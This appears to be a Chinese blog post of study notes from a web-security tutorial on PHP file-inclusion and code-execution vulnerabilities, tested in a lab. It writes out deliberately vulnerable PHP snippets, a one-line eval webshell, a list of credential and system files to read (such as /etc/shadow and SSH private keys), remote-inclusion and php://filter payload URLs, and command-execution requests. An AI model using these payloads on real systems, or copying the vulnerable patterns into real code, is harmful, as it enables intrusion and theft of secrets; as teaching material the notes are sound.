美文网首页
某教程学习笔记(一):17、php漏洞

某教程学习笔记(一):17、php漏洞

作者: 玉宾 | 来源:发表于2020-02-29 21:07 被阅读0次

原来过了十八岁以后,就再也没有夏天了,只有如约而至的七月、八月和九月,夏天是短裤蝉鸣,和一阵暴雨后少年满怀的心事,是在八月就开始憧憬九月开学的日子。。。。

                                                                                                                                        ----  网易云热评

一、文件包含漏洞

1、常见包含函数

include(),require(),include_once(),require_once()

2、本地文件包含,新建一个include.php文件,里面输入

<?php

$test=$_GET['c'];

include($test);

?>

3、再新建一个test.txt文件,里面输入:<?php phpinfo()?>

4、访问192.168.171.128/include.php?c=test.txt

5、读取敏感目录文件

windows:

C:\boot.ini  //查看系统版本

C:\WINDOWS\system32\inetsrvMetaBase.xml  //IIS配置文件

C:\WINDOWS\repair\sam  //存储系统初次安装的密码

C:\WINDOWS\php.ini  //php配置信息

C:\WINDOWS\my.ini  //mysql配置信息

linux:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/known_hosts

/etc/passwd

/etc/shadow

/etc/my.cnf

/etc/httpd/conf/httpd.conf

/root/.bash_history

/root/.mysql_history

/proc/mounts

/proc/config.gz

二、远程文件包含

1、将上面新建的test.txt文件放到另一台服务器上192.168.1.103

2、访问 http://192.168.171.128/include.php?c=http://192.168.1.103/test.txt

确保php.ini中allow_url_fopen和allow_url_include要为On

三、伪协议利用读取php文件的源码

1、读取test.php文件结果如下

2、通过伪协议可以获取test.php的源码

http://192.168.171.128/include.php?c=php://filter/read=convert.base64-encode/resource=test.php

base64解码以后,获取文件源码

四、代码执行漏洞

1、常见代码执行函数

eval()/assert()/system()/exec()/shell_exec()/passthru()/escapesshellcmd()/pcntl_exec()

例如:<?php eval($_POST[a];?>

2、  获取ip相关信息

http://192.168.171.128/test.php?a=system('ipconfig'); 

3、动态代码执行

新建test.php,内容为:

<?php

$a=$_GET['a'];

$b=$_GET['b'];

$a($b);

?>

访问: http://192.168.171.128/test.php?a=system&b=ipconfig

禁止非法,后果自负

欢迎关注公众号:web安全工具库

相关文章

  • 某教程学习笔记(一):17、php漏洞

    原来过了十八岁以后,就再也没有夏天了,只有如约而至的七月、八月和九月,夏天是短裤蝉鸣,和一阵暴雨后少年满怀的心事,...

  • 什么是SQL注入漏洞

    内容来源(公众号:PHP基础入门教程)SQL注入漏洞为PHP研发人员所熟知,它是所有漏洞类型中危害最严重的漏洞之一...

  • SQL注入漏洞防护

    内容来源(公众号:PHP基础入门教程)SQL注入是最危险的漏洞之一,但也是最好防护的漏洞之一。本节将介绍在PHP的...

  • PHP学习线路图 PHP教程

    PHP学习线路图 PHP教程 PHP教程PHP简介PHP环境设置PHP语法概述PHP变量类型PHP常量类型 PHP...

  • PHP学习笔记-常见的PHP漏洞

    PHP是弱类型语言,所以内置的很多函数,在进行转换和比较的时候,会有各种漏洞需要我们重点关注。 MD5加密漏洞 比...

  • PHP 学习目录

    PHP 学习目录 ├─PHP视频教程 1 LAMP网站构建 │ ├─PHP教程 1.1.1 新版视频形式介绍│ ...

  • 黑客日记:基础PHP漏洞环境搭建

    黑客日记:基础PHP漏洞环境搭建 PHP漏洞环境搭建之PHP漏洞环境搭建 我们来安装dvwa漏洞环境 推荐使用bW...

  • PHP网站常见安全漏洞,及相应防范措施总结

    一、常见PHP网站安全漏洞对于PHP的漏洞,目前常见的漏洞有五种。分别是Session文件漏洞、SQL注入漏洞、脚...

  • Spring框架-学习笔记4

      该学习笔记是《尚学堂spring视频教程》的学习笔记第四部分。 17、Spring整合MyBatis 1、步骤...

  • PHP从入门到精通,002第二章HTML-HTML的介绍&

    今天笔记是学习2017泰牛PHP基础班DAY01视频教程的笔记!今天开始学习第二章HTML,本节内容:HTML的介...

网友评论

      本文标题:某教程学习笔记(一):17、php漏洞

      本文链接:https://www.haomeiwen.com/subject/anvvhhtx.html